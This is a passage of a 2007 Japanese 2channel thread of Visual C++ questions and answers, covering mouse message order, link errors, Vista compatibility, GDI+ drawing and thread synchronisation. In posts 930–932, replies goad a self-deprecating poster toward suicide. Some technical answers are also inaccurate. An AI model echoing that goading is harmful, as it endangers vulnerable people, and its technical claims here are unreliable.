つまりあれだ、要る派でも行番号を全部出さないと気が済まない香具師とカーソル行が表示されていれば済む香具師に分かれると。
863デフォルトの名無しさん:2007/03/27(火) 14:53:47
プログラム板はまとめをやってくれる几帳面なやつがいないから
こういう人材は貴重だな
864デフォルトの名無しさん:2007/03/27(火) 15:25:36
ちょっと待て、
>バグ取らないよ派(チンピラSE派)
これなんだよw
865デフォルトの名無しさん:2007/03/27(火) 16:43:48
行番号を覚えておいて飛ぶとかいってるクズがいるのかよ…
866デフォルトの名無しさん:2007/03/27(火) 16:49:19
要らないよ派って必死なんですね
867デフォルトの名無しさん:2007/03/27(火) 16:50:37
わざわざ要るって言っているほうが普通は必死
868デフォルトの名無しさん:2007/03/27(火) 16:53:58
行番号表示できるようになったのは最近のバージョン
元は行番号表示はできなかった
つまり行番号なしで使うインターフェースになってる
869デフォルトの名無しさん:2007/03/27(火) 16:54:46
必要だから表示できるようにしたってことか
870デフォルトの名無しさん:2007/03/27(火) 16:55:21
蛇足
871デフォルトの名無しさん:2007/03/27(火) 16:57:44
行番号表示した方がいいって結論出てるのに、なんでまだ議論してるの?
872デフォルトの名無しさん:2007/03/27(火) 17:01:23
Windowsみたいに素人でも使えるようように余分な機能が追加されて
だんだん重くなっていく
873デフォルトの名無しさん:2007/03/27(火) 17:03:40
>>872
ですよね!
行番号表示する/しないのチェックボックス外して
常に表示にすれば少しは軽くなりますよね!
874デフォルトの名無しさん:2007/03/27(火) 17:05:03
行番号なしがデフォなんだけど
875デフォルトの名無しさん:2007/03/27(火) 17:05:23
行番号表示してる方がバカって結論出てるのに、なんでまだ議論してるの?
876デフォルトの名無しさん:2007/03/27(火) 17:07:31
行番号表示派が一人で自作自演してるから笑える
877デフォルトの名無しさん:2007/03/27(火) 17:09:41
今部署調べてきた。31人中30人が表示してた。これでいいだろ。
878デフォルトの名無しさん:2007/03/27(火) 17:10:57
>>876
見た感じ表示派の方が一歩上手だよな
表示しない派はコピペで応戦してるけどキレがいまいちで笑える
879デフォルトの名無しさん:2007/03/27(火) 17:11:38
仕事中に2chを見ていても許されるような
糞会社に勤務してる糞社員乙
糞会社の常識なんか語られてもねえ
880デフォルトの名無しさん:2007/03/27(火) 17:12:32
>>877
は?こっちの部確認したら全員表示してないですけど?
881デフォルトの名無しさん:2007/03/27(火) 17:13:30
>>879
大変、表示しない派のお仲間も勤務中に2ch見てるみたいですよ>>880
882デフォルトの名無しさん:2007/03/27(火) 17:13:41
表示派はなんでこんなに必死なんだ?
そんなにgoto使ってるのか?
883デフォルトの名無しさん:2007/03/27(火) 17:14:44
まとめ:番号表示してるやつは糞
884デフォルトの名無しさん:2007/03/27(火) 17:18:45
表示厨が泣きながら自作自演して多数派を装うのは構わないけど、
>>863>>878のような自分マンセー発言はドン引きだからやめた方がいいと思うんだ
885デフォルトの名無しさん:2007/03/27(火) 17:27:01
ここまで見た感じどっちもどっちだなあ
非表示厨には>>884みたいな自治厨くさい発言が多い分、
少しだけ表示厨が勝ってる感じ
886デフォルトの名無しさん:2007/03/27(火) 17:28:07
>>829の罪は重いなw
887デフォルトの名無しさん:2007/03/27(火) 17:52:01
  | ここまで見た感じどっちもどっちだなあ
  | 非表示厨には>>884みたいな自治厨くさい発言が多い分、
  | 少しだけ表示厨が勝ってる感じ
  \___________ ____
                       ∨  カタカタ____ ___
                  ∧_∧   ||\   .\  |◎ |
                  (.#`Д´)  ||  | ̄ ̄|  |:[].|
           ∧_∧ . ┌(   つ/ ̄l| / ̄ ̄/ ..| =|
   ∧_∧   ( TДT) |└ ヽ |二二二」二二二二二二二二」
  ( TДT)  (  つつ   ̄]||__)   | ||       | ||
  (つ  つ  /  / /  ./ ̄\  / ||       / ||
  と_)_)  (___)__)  ◎    ◎ .[___||     .[___||
            ∧
   / ̄ ̄ ̄ ̄ ̄  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
   | 孤独な表示厨よ、もういいんだ・・・・・・・
   | 本当に良く頑張った・・・もう充分じゃないか・・・
   | 楽になっていいんだ・・・
   | 忘れるんだ・・・何事もなかったように・・・・・
888デフォルトの名無しさん:2007/03/27(火) 17:54:56
いらないって言ってる人は食わず嫌いなんだろ。
もしくは、行番号に頼らないコード作りに慣れてて必要がないと。

別にどっちでも問題ないよ。
889デフォルトの名無しさん:2007/03/27(火) 17:58:32
食わず嫌いされるような大層なものなのか?行番号表示って。
表示させたがっている人は本来の主張を忘れて
勝った負けたに夢中になっているみたいだし、好きにしるで終了だな
890デフォルトの名無しさん:2007/03/27(火) 18:05:37
だから、全部の行番号が出ている必要はないって結論じゃないのか?w
891デフォルトの名無しさん:2007/03/27(火) 18:14:59
流れぶったぎるようですみません・・
WM_LBUTTONDOWNはマウスの左ボタンを押された時に、発生するのはわかるのですが、
左ボタンを押しながらドラッグした時にもWM_MOUSEMOVEと共に発生し続けるのでしょうか?
892デフォルトの名無しさん:2007/03/27(火) 18:18:14
>>891
Down:1回 → Move:複数回 → Up:1回
893デフォルトの名無しさん:2007/03/27(火) 18:21:44
>>891
MOVEしてる時にもボタンの状態はわかるけど、
通常はDOWNでフラグたてて、MOVEでフラグを見てドラッグと判断
UPでフラグ倒す。という動作をする。
ウィンドウの外に行っちゃうとメッセージ来なくなるからキャプチャーもやる
894デフォルトの名無しさん:2007/03/27(火) 18:33:47
>>892-893
レスどもです、UPの時にも発生するんですね
そんなのどこにも書いてなかった・・・・
895デフォルトの名無しさん:2007/03/27(火) 18:38:12
Spy++とか、メッセージをフックして表示してくれるソフトは常備しておくべき
何かと便利だから
896デフォルトの名無しさん:2007/03/27(火) 18:58:13
>>894
WM_CREATEはフォーム作成時、
WM_RBUTTONDOWNボタンは右ボタン押したとき、
WM_MBUTTONUPはミドルボタンを離したとき、
WM_LBUTTONDBLCLKは右ボタンをダブルクリックしたとき、
などなど・・・
もっとあるけど、本領を発揮するのはイベントを自作するときや
OLEなんかでプロパティを引き渡すときに使う場面かな
897デフォルトの名無しさん:2007/03/27(火) 19:06:46
>>894
いやいや、発生しないよ
UPの時にDOWN発生したら困るだろw
898デフォルトの名無しさん:2007/03/27(火) 19:10:09
常備しておくべきってか、VS使ってるならあるだろ、Spy++
EXPRESSとかにはなさそうな気もするが・・・
899デフォルトの名無しさん:2007/03/27(火) 19:12:50
>>897
たぶん>>894は、「UPの時にも(イベントが)発生するんですね 」と
言いたかったんだろ
900デフォルトの名無しさん:2007/03/27(火) 19:13:45
>>892
Upのときは発生しないだろ
901デフォルトの名無しさん:2007/03/27(火) 19:19:11
WM_LBUTTONUP は何のためにあるんだ
902デフォルトの名無しさん:2007/03/27(火) 19:25:06
離したときに処理されるものの方が圧倒的に多いのに
>>900は何を言っているんだ
903デフォルトの名無しさん:2007/03/27(火) 19:31:02
>>902
いや、>>891はこういう意味かと思ったんだけど違うのか?

WM_LBUTTONDOWNはマウスの左ボタンを押された時に、
【WM_LBUTTONDOWNが】発生するのはわかるのですが、

左ボタンを押しながらドラッグした時にもWM_MOUSEMOVEと共に
【WM_LBUTTONDOWNは】発生し続けるのでしょうか?
904デフォルトの名無しさん:2007/03/27(火) 19:33:56
それじゃ、>>894は勘違いしたままなのか・・・
うーん・・・
905デフォルトの名無しさん:2007/03/27(火) 19:36:11
まあやってりゃわかるからいいかw
Spy++もそうだが、サンプルソースを見るほうが早いのにな
906デフォルトの名無しさん:2007/03/27(火) 19:57:00
>>892は俺のレスだけど、
Down:1回 → Move:複数回 → Up:1回
は、
WM_LBUTTONDOWNイベントは1回発生する
WM_LBUTTONMOVEイベントは複数回発生する
WM_LBUTTONUPイベントは1回発生する
って意味だよ。

まさかボタンアップしたときにもWM_LBUTTONDOWNが発生するなんて思ってないだろ。
まさか・・・ね。
907デフォルトの名無しさん:2007/03/27(火) 20:09:26
で、ドラッグ中にってWM_LBUTTONDOWNイベントは発生するのか?
908デフォルトの名無しさん:2007/03/27(火) 20:10:29
>>906
通信簿に話を良く聞かない子って書かれただろ
909デフォルトの名無しさん:2007/03/27(火) 20:13:53
なんというグタグダ
これだけスレが伸びて
>>891にまともに答えてる奴はいない
910デフォルトの名無しさん:2007/03/27(火) 20:50:36
調べてきてやったぞ
なんつーかあれだ、調べればわかる

マウス左ボタンDOWN時:
 WM_LBUTTONDOWN発生

マウス移動時(ボタンDOWNなし):
 WM_MOUSEMOVE発生

マウスドラッグ時(左ボタンDOWN):
 WM_MOUSEMOVE発生

マウス左ボタンUP時(左ボタン押下):
 WM_LBUTTONUP発生
 WM_MOUSEMOVE発生
911910:2007/03/27(火) 21:11:01
ちょっと間違ってた
(1)の方はUP時にもMOVEが発生する
(2)はUPだけ

(1)左ボタンDOWN→ドラッグ→左ボタンUP
WM_LBUTTONDOWN→WM_MOUSEMOVE発生→WM_LBUTTONUP発生WM_MOUSEMOVE発生

(2)左ボタンDOWN→左ボタンUP (同じ場所)
WM_LBUTTONDOWN→WM_LBUTTONUP発生
912デフォルトの名無しさん:2007/03/27(火) 21:12:33
>>911
単にお前がボタンアップ時に手がぶれたとかじゃないよな?
913デフォルトの名無しさん:2007/03/27(火) 21:27:13
>>912
ぶれてないと思うけど更に衝撃の事実
>>911はJaneで確かめたんだけど、今IEでやってみたら

(1)左ボタンDOWN→ドラッグ→左ボタンUP
WM_LBUTTONDOWN→WM_MOUSEMOVE発生→WM_LBUTTONUP発生

(2)は同じ

Winspectorで確認した
914デフォルトの名無しさん:2007/03/27(火) 21:32:27
あああわけわからん
誰か正解教えてくれ
915デフォルトの名無しさん:2007/03/27(火) 21:45:15
>>914
もう十分結論でてると思うが。
916デフォルトの名無しさん:2007/03/27(火) 21:50:46
左ボタン押す(押したまま)WM_LBUTTONDOWN
まずこれがあってからドラッグだ。
左ボタン押していないのにドラッグということはない。

左ボタン押したままだからといってWM_LBUTTONDOWNが連続で送られてくることはない。
押したときに一度だけだ。キーボードのようなリピートはない。

左ボタンUPでドロップだ。
ドラッグアンドドロップ終了。

そのあとのWM_MOUSEMOVEはドラッグアンドドロップと関係ない。
手がぶれたか、ウィンドウの方が動いたとかか?

<余談>
新しくウィンドウを作成したときもマウスカーソルがたまたまそこにあれば
マウスを動かしてなくてもWM_MOUSEMOVEが送られてくると聞いたことがある。
確かめたことはない。
</余談>
917デフォルトの名無しさん:2007/03/27(火) 22:06:10
ボタン押してないMOVEは何の影響も受けないだろ
通常状態でカーソルが通過するのと変わらん
918デフォルトの名無しさん:2007/03/27(火) 23:07:48
>>917が何を言いたいのかイマイチ分からん
919デフォルトの名無しさん:2007/03/28(水) 02:08:36
グダグダに更に磨きをかけようか・・・

>>918
クリックするしないに関わらずMoveイベントが発生する、ということを>>917
言いたいんじゃないかな

>>908
お前さ、人にどうこう言う前に、自分の読解力をどうにかしろ
IDないから誰がいつなにを言っているか掴みづらいだろうけど
920デフォルトの名無しさん:2007/03/28(水) 02:11:44
921デフォルトの名無しさん:2007/03/28(水) 09:20:53
とにかく一回でもコード書いて動かしてみりゃわかると思うんだがな。
やるこたかわらん。
途中メッセージの抜けがあっても何とかなるもんだし。
922デフォルトの名無しさん:2007/03/28(水) 13:12:11
結論: MSDN読め
923デフォルトの名無しさん:2007/03/28(水) 15:42:38
MSDNを読んだところでロクに理解なんかできんわ。
初心者は特に。
まず単語が分からない。
言ってることは確実に正しいんだろうけど何のことを言っているのか
理解できない。
理解できるように膨大にある理解不能な単語の勉強からまずはじまる。

それがイヤだからこういうスレの存在意義があるのではないだろうか?
>>922の結論でFAならこの板の半分くらいのスレは必要がない。
924デフォルトの名無しさん:2007/03/28(水) 16:08:23
本買って勉強
925デフォルトの名無しさん:2007/03/28(水) 16:48:56
>>923みたいな奴って定期的に現れるよな。
何から手をつければいいかわからないとか、
自分が知っている手法よりもっといいものはないかを知りたいとか、
そういうときにはスレで聞くのがいいだろうけど、
>>891みたいな質問の場合はMSDNを見たり本を見たり
自分で調べるプログラムを書いたりした方がいい。
926デフォルトの名無しさん:2007/03/28(水) 16:50:15
単語の意味なぞそれこそググりゃわかる。
こういう場所の存在意義はエスパー逆引きだろ。
「これこれこういううだうだぐだぐだ」に対してググるべき単語を示してやる。
元の「これこれこういう〜」にそれが含まれてることは多々あり、それには>922でおk。
>891クラスなら「実際にやってみろ」で十分すぎる。
927デフォルトの名無しさん:2007/03/28(水) 16:52:25
答えてやってることで誰かが喜んでるならそれでいいんじゃねーの?
俺も助かったことあるし
928デフォルトの名無しさん:2007/03/28(水) 17:27:29
あんまり基本的なことは掲示板で教えるのは無理
929デフォルトの名無しさん:2007/03/28(水) 20:18:08
3月26日はボクの41歳の誕生日
でも祝ってくれる人もいない
21歳も
31歳も
一人きりの寂しい寂しい誕生日だった

いったい誰が人間の形をした41歳の肉槐を愛することができるだろう
だから
これからもずっと一人
醜くも膨れ上がった豚のような体つきでは

若い部下たちが楽しい夜をすごすために帰るのが悔しくて
デブ特有のキンキン声で嫌がらせ
でもやっぱりむなしくなって家では一人涙を流す毎日

そんなあまりに惨めな脂肪の塊
一山いくらの屑肉、
豚松、あらため、台帳デブの
哀れな哀れな哀れな
一日が今日も過ぎてゆく
930デフォルトの名無しさん:2007/03/28(水) 23:59:17
>>929
鬱陶しいからその日々に終止符を打ってください。
方法は問いません。
931デフォルトの名無しさん:2007/03/29(木) 10:05:42
オレに死ねと
932デフォルトの名無しさん:2007/03/29(木) 10:56:59
他の手段を思いつけないのならどうぞ。
933デフォルトの名無しさん:2007/03/31(土) 02:02:53
Visual C++ 2005 Express Editionです。
ttp://www.morikita.co.jp/soft/84142
にあるVisual C++ .NET用のCG_NET.exeというファイルを落として解凍しprjフォルダにある
EX2_1.slnをビルドしようとしましたがエラーが出てできません。

具体的にはファイルを開くと出る変換ウィザードで変換したあとビルドして見ると、
いくつかエラーが出てmain関数にvoidを指定してfor文にintを指定していくと最終的に
「LINK : fatal error LNK1104: ファイル 'LIBC.lib' を開くことができません。」というエラーが出ます。
これはどうすればいいんでしょう?
追加の依存ファイルにlibc.libを指定してもだめだし、特定のライブラリの無視に指定したら
「win.lib(win.obj) : error LNK2019: 未解決の外部シンボル "int __cdecl g__main(int,char * * const)" (?g__main@@YAHHQAPAD@Z) が関数 "unsigned long __cdecl u__Tproc1(void *)" (?u__Tproc1@@YAKPAX@Z) で参照されました。
..\obj/EX2_1.exe : fatal error LNK1120: 外部参照 1 が未解決です。」
に変わりましたが相変わらずビルドできません。

よろしくお願いします。

934デフォルトの名無しさん:2007/03/31(土) 02:32:30
適当に見てみたけど
追加でリンク指定している win.lib が、
シングルスレッド用である libc.lib を利用しているんじゃないか?

もしこれが正しければ、win.lib をマルチスレッド用ライブラリリンク版 (/MT オプション) を作らないといけない。
VS2005 からはシングルスレッド用のライブラリがなくなってしまったからなぁ。

あと、main の戻り値は int だ。
935デフォルトの名無しさん:2007/03/31(土) 02:44:33
恐らくはソリューションファイルとプロジェクトファイルだけコンバートしてビルドしてみてもいないんだろうなぁ。
ページ自体は今月にも修正が掛かっているみたいだから、(書籍を購入しているなら)クレームつけてみたら?
マルチスレッド版のwin.libを作ってくれるかもよ。
936933:2007/03/31(土) 03:37:53
いけました。
mainにint指定してreturn 0;を関数の最後に入れて、リンカの設定の特定のライブラリを
無視のところにlibc.libを指定したらビルドできました。

mainの戻り値intってちゃんと決まってるんですね。慣例かと思ってました。
ありがとうございました。
937デフォルトの名無しさん:2007/04/03(火) 18:53:20
質問があります。
MS VC++ .NET 2003 なのですが、
  CFont font;
  label1->Font = font;
これをやると
Form1.h(676): error C2664: 'System::Windows::Forms::Control::set_Font' : 1 番目の引数を 'CFont' から 'System::Drawing::Font __gc *' に変換できません。
と出ます。ラベルのフォントをこの方法で変えたいだけなのですが、どこがおかしいのでしょうか。
938デフォルトの名無しさん:2007/04/03(火) 18:53:59
上げ忘れましたので上げます。
939デフォルトの名無しさん:2007/04/03(火) 19:06:55
CFont はMFCのような気がするけど
.netにもそういうものがあるのか?
940937:2007/04/03(火) 19:16:10
色々調べているのですが、
なんか根本的な勘違いをしているような気がしてきました・・・
941はじめてのはじめての人:2007/04/05(木) 00:04:55
本かって、VC開いても呆然としちゃう(´;ω;`)
942デフォルトの名無しさん:2007/04/05(木) 01:03:03
まずは書いてある通りにやってみろ
話はそれからだ
943sage:2007/04/05(木) 21:21:24
VC++.NET 2005 CLRプログラミングで
ボタンなどのコンポーネントを
プログラム上から追加したいのですが、
どのようにすればいいですか?
944デフォルトの名無しさん:2007/04/05(木) 21:54:36
UTC の年月日時分秒から __time64_t 値を作るにはどうしたらよいでしょう?
945nori:2007/04/05(木) 22:38:20
 今晩は。

 Visual C++.NET 2003 の Windows Form Application で作ったアニメーションに、
Directsoundで音を付けたいのですが、どなたかご存知の方、教えてください。

 複数音を同時に鳴らしたいので、Soundplayは使えないのです。

 いろいろ調べて見たのですが、Visual Basic、Visual C# または Windows Console Application では、資料は
見つかるのですが、Visual C++.NET  では、見つけられなくて困ってます。

 よろしくお願いします。 
946デフォルトの名無しさん:2007/04/05(木) 23:54:23
>>944
どうやってって、年月日時分秒が判るんなら、1970年1月1日の0時0分0秒からの秒数を算出すればいいじゃないか
947デフォルトの名無しさん:2007/04/06(金) 00:43:33
凄く初歩的な質問ですが、bool型からwchar_t型への変換を
するにはどうしたらよいのでしょうか?教えてください。
948デフォルトの名無しさん:2007/04/06(金) 00:55:59
bool a;
wchar_t b;

b = (wchar_t)a;
949デフォルトの名無しさん:2007/04/06(金) 01:15:42
950デフォルトの名無しさん:2007/04/06(金) 01:20:04
多分、>>947 が知りたいのは
bool a;
const wchar_t * b = a ? L"True": "False";
みたいなことじゃないかと思うんだがどうだろう?
951947:2007/04/06(金) 02:30:58
>948-950
返信遅れました。
質問が漠然としすぎて混乱させてしまったようで申し訳ありません。
私が知りたかったのはまさに>950さんのコードです。
ありがとうございます。
952雨とむり:2007/04/06(金) 10:22:52
VC++5.0で開発したEXEを
WindowsVistaに入れて起動させようとしたら、
動きませんでした。

どうすれば動くのでしょうか。

※ちなみにXML形式でファイルの保存等を行っています。
953デフォルトの名無しさん:2007/04/06(金) 10:27:35
>>952
動かないというのはこんな感じ?
>C:\>hoge
>'hoge' は、内部コマンドまたは外部コマンド、
>操作可能なプログラムまたはバッチ ファイルとして認識されていません。
954雨とむり:2007/04/06(金) 10:57:09
>>953
お返事ありがとうございます。

↓こんなメッセージが出ます。

問題が発生したために、プログラムが正しく動作しなくなりました。
プログラムは閉じられ、解決策がある場合はwindowsから通知されます。

ちなみに通知らしき物は来なかったです。
955デフォルトの名無しさん:2007/04/06(金) 11:37:59
>>954
詳細見てエラーの起きたアドレス調べて
元の開発環境でそのアドレスがどこか調べるとか
リモートデバッグするか、Vista上でデバッグするとか
956デフォルトの名無しさん:2007/04/06(金) 11:38:47
http://72.14.235.104/search?q=cache:6TUCaZWhB9EJ:www.microsoft.com/japan/msdn/vstudio/support/windowsvista/adminperms/default.aspx+VC%2B%2B5.0+Vista+%E5%8B%95%E4%BD%9C&hl=ja&ct=clnk&cd=1

ここを見れば分かるけど、
VistaってVisualStudioに限ってみても、おびただしい数の不具合があるな…。
開発者泣かせすぎワロタww
957雨とむり:2007/04/06(金) 11:49:26
>>955
>>956

ありがとうございます。

よくよく調べてみたら、
manifestファイルという物を使ってGUIの画面をXPっぽくしてました。

このファイルを取り除くと動きましたが、画面の形式は

変えたくないので何か方法はないのでしょうか?
958デフォルトの名無しさん:2007/04/06(金) 12:47:41
vcのCStringT型からchar[]にするにはどうしたらいいの?
959デフォルトの名無しさん:2007/04/06(金) 12:52:15
>>958
CString bar = "abcd";
const char * foo = bar;
960デフォルトの名無しさん:2007/04/06(金) 15:31:10
知ってたら教えてください。

環境は VC++2003.NET です。
GDI+にて、描画部分だけ色を反転させた線を引きたいと思っています。

pen>SetDashStyle(DashStyleDash);
pen->SetColor(Color::Black);
pen->SetWidth(1.0f);
などとペンを定義して描画することはできるのですが、
どうやったら反転させることができるのでしょうか?

おながいします。
961デフォルトの名無しさん:2007/04/06(金) 16:15:18
Color::Whiteで線を引くだけ
962960:2007/04/06(金) 16:50:31
>>961
ありがとうございます。

白で線を引くということでしょうか?
反転されるためにXOR指定などがあるのではないか、と予想していましたが・・・。

ちょっとやってみます。
963デフォルトの名無しさん:2007/04/06(金) 17:05:48
>>962
SetROP2()
964960:2007/04/06(金) 17:06:43
>>961
白で線が引かれるだけで反転しないようなのです・・・
965960:2007/04/06(金) 17:08:55
>>963
すいません、書き込んだ後に気づきました。
ありがとうございます。
確認&試してみます。
966デフォルトの名無しさん:2007/04/06(金) 17:23:12
ってGDI+か。そっちはわからん、すまん。
967デフォルトの名無しさん:2007/04/06(金) 17:28:13
GDI+じゃラスタオペレーションはサポートしてない。
というのがGraphicesが対象とするImageはBItmapであることを限定してないため、
Bitmapであることを前提にしたラスタオペレーションは無くなった。
もしこれをサポートするとなるとBitmapオブジェクトに直接描画メソッドを追加することになるだろう。
自作したいならBitmapを生のイメージで操作する必要がある。
GDI+の範囲でやりたいなら反転とは違うが半透明色で線を引いてみたらどうだろうか。

ただ2005から追加になったCopyFromScreenのCopyPixelOperationにはなぜかラスタオぺの香りが漂っていたりする。
968960:2007/04/06(金) 17:41:51
>>967
分かりやすい解説ありがとうございます。

更にお聞きしたいのですが、ビットマップの描画ではラスタオペレータは
困難のように読めますが、反転した線を引くだけでも同様でしょうか?

簡単な(プロパティを指定して終わりみたいな)方法などが
あれは教えてもらいたいのですが・・・
969デフォルトの名無しさん:2007/04/07(土) 17:37:04
VC++EEを使っているのですが、ブレークポイントつけてウォッチしようとしたところ、
「ブレークポイントは現在の設定ではヒットしません。このドキュメントのシンボルが読み込まれていません」と
赤い丸のところに表示されて、ウォッチができません。どうやってらウォッチできるようになりますか?
970エボニー:2007/04/09(月) 12:45:28
VC++で作ったヴュー画面に文字列を表示させた場合

VISTAとXPでは行間隔に違いがでます。

XPは隙間無く次の行(改行コード入れてます)の文字列が表示されますが、

VISTAの方は変な隙間が出ます。

この違いを解消する方法を教えてください。
971デフォルトの名無しさん:2007/04/09(月) 12:48:35
とりあえずフォントあたりから
972デフォルトの名無しさん:2007/04/09(月) 12:52:23
VISTAの仕様だから気にしない
973エボニー:2007/04/09(月) 13:03:59
>972

VISTAの仕様という事はコーディングで直せる物ではないとう事でしょうか?
974デフォルトの名無しさん:2007/04/09(月) 13:05:33
ユーザーにまかせる
975デフォルトの名無しさん:2007/04/10(火) 12:29:24
>>970 >>973
関係ないけどその無駄な改行が気になるんだが・・・
976バリバリ:2007/04/10(火) 16:41:35
>>975

改行コードを入れないと文字が横一列に並んでしまいますので
必要なんですよ。
977デフォルトの名無しさん:2007/04/10(火) 17:07:45
>>976



うで


978デフォルトの名無しさん:2007/04/11(水) 22:51:30
プログラムなにもしらないけどvisualstudio買ってみたよ。
ぽっか〜ん(´・ω・`)このあとどうすればいいんだろ
979デフォルトの名無しさん:2007/04/11(水) 23:02:46
>>978
使い倒して世界一のプログラマになるに決まってるだろ?
980デフォルトの名無しさん:2007/04/11(水) 23:40:06
>>978
俺に預けるといいよ
981デフォルトの名無しさん:2007/04/12(木) 11:55:46
>>978
上を目指そうぜ?
982デフォルトの名無しさん:2007/04/12(木) 12:30:36
VC++7.0 Windows2000
MFCマルチスレッドプログラミング
UIスレッドワーカースレッド両方使用
スレッド数40ほど

デバッグモードでは動作は正常だったのですが
デバッグ無しモードだと動作が不安定になります

他スレッドの変数を変えて制御してますが
同じスレッドに同時に変更するようなところは見当たりません
デバッグモードでやるとブレークポイントをつけているわけでもないのに
正常に動作します
このような場合の原因はどんなことがあるのかわかりますか?
983デフォルトの名無しさん:2007/04/12(木) 13:17:34
何がどう不安定なのかわからないと回答しにくいと思うZO
あと、どんな処理をしてるかとかあればもっと答えが出やすいかもよ?

お前が人に聞かれて答えるのに別の質問で似たような表現されてわかるか?
984デフォルトの名無しさん:2007/04/12(木) 13:32:47
どんな処理かはマルチスレッドの制御です
スレッドAがループで止まっていてスレッドBが各スレッドの変数を変えに
行っていますスレッドCが条件を充たすとスレッドBにスレッドAのループを
抜けるように変数の値を変えにいきます

ループを抜けたいのに抜けなかったり抜けたくないのに抜けたりします
ループを制御してる変数を
他スレッドから変数を変えにいってるはずが変えられてなかったりしてます

デバッグモードだけで成功するような状況はどういうことなのか教えてください
985デフォルトの名無しさん:2007/04/12(木) 13:35:55
volatileがなくて最適化でメモリアクセスがどっかに消えているとか。
同期はメモリを直接参照するのではなく、ちゃんと同期オブジェクト使わんと遺憾よ。
986デフォルトの名無しさん:2007/04/12(木) 15:26:21
>>978
同士よ、とりあえず自分は「質問が出来る」ようになる事を
第一の目標としてるorz
987デフォルトの名無しさん:2007/04/12(木) 15:43:40
>>985
volatileをつけてみましたが一緒でした
同期オブジェクトはCCriticalSectionでいいのでしょうか?
CCriticalSectionのオブジェクトを作ろうとしたのですが
error C2501: 'CCriticalSection' : 識別名を宣言するのに、型が指定されていません。
とでます
988デフォルトの名無しさん:2007/04/12(木) 15:45:07
>>984
DebugでうまくいってReleaseでうまくいかないケースは
最適化の影響か、領域破壊バグの可能性が高い。
まずは>>985のvolatileを入れるべきとこ探してみたら。
989デフォルトの名無しさん:2007/04/12(木) 15:46:40
volatileの付け場所間違ってるかもしれんが、、、
Releaseで最適化切ってリビルドして実行してみたら
990デフォルトの名無しさん:2007/04/12(木) 17:25:38
>>978
俺はVisualC++6.0買った時、1年位手をつけずに放置した。
991デフォルトの名無しさん:2007/04/12(木) 17:33:19
VC2005で
// TODO: この場所にネイティブ データ用の描画コードを追加します。
の後に
pDC->MoveTo(100,100);
pDC->LineTo(300,300);
と書いてもコンパイルできません。
pDC->TextOut(0,0,"ようこそ");
と書いてもコンパイルできません。
本ではそう書いてあるのですが何故でしょうか?
プロジェクトはMFCアプリケーションのデフォルトで作りました。
992デフォルトの名無しさん:2007/04/12(木) 17:38:45
>>991
エラーメッセージをどうぞ。
993デフォルトの名無しさん:2007/04/12(木) 17:42:16
すいません自己解決しました。
/*pDC*/のコメントを外さないといけないようです。
994デフォルトの名無しさん:2007/04/12(木) 18:27:48
>>987
つ変数の未初期化
995デフォルトの名無しさん:2007/04/12(木) 21:29:58
>>987
CCriticalSectionを使うためのヘッダファイルが指定してないんだろうな。
でも、この場合CCriticalSectionは適さない。
だって排他制御したいわけじゃないよね。

俺も変数の初期化とvolatile関係と思う。

volatileがどうしても駄目ならそこの関数の最適化を制限するとか。
#pragmaで指定でできるはず。

変数じゃなくて同期オブジェクトを使いたいなら、同期イベントがいいんじゃない。
MFCならCEvent。

ところでスレッドをたくさん使うんですね。
996デフォルトの名無しさん:2007/04/12(木) 21:55:35
VC++ 2003を使っているのですが
ウィンドウズフォームアプリケーションで
MainMenuが表示されません
Formのデザイン画面でもFormの下の方に
ちょこっと表示されるだけで
デバッグ開始すると消えます。
どうすれば表示されるようになるのでしょうか
997デフォルトの名無しさん:2007/04/12(木) 22:49:42
VC++2005のExpress版をつかっています。OSはWinXPです。

コマンドラインコンパイラを使いたくて、
使用前に必要な手続きであるらしい下のバッチファイルを一発かましています。

C:\Program Files\Microsoft Visual Studio 8\VC\bin\vcvars32.bat

ところでこの手続きPCを起動するたび(?)にやり直しになるんですが、
効果を持続させる方法はないでしょうか。

というかこの手続きは何をしているのでしょうか。
998デフォルトの名無しさん:2007/04/12(木) 23:05:51
>>997
内容についてはvcvars32.batの中身を見ればいいさ。

いいやり方は知らない。
いまちょっくらためしたら出来た。

適当にショートカットを作って、そのプロパティで
リンク先を
%windir%\system32\cmd.exe /k "C:\Program Files\Microsoft Visual Studio 8\Common7\Tools\vsvars32.bat"
作業フォルダを
E:\work2
としたらできてるっぽい。

当然スペルは適当に直せよ。
無論コマンドプロンプトを出すときはこのショートカットを使え。ショートカット
実際にコマンドラインコンパイラが動くかは試してねーけどよ。
999デフォルトの名無しさん:2007/04/12(木) 23:09:05
>>997
コマンドプロンプトの起動を、
スタート→プログラム→Visual C++ 2005 Express Edition→Visual Studio Tools
→Visual Studio 2005 コマンド プロンプトから行うようにしろ。
1000988:2007/04/12(木) 23:14:41
>>999
VC++2005のExpress版持ってないから知らないけど既に同じものがあるのか。
あははh
10011001
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。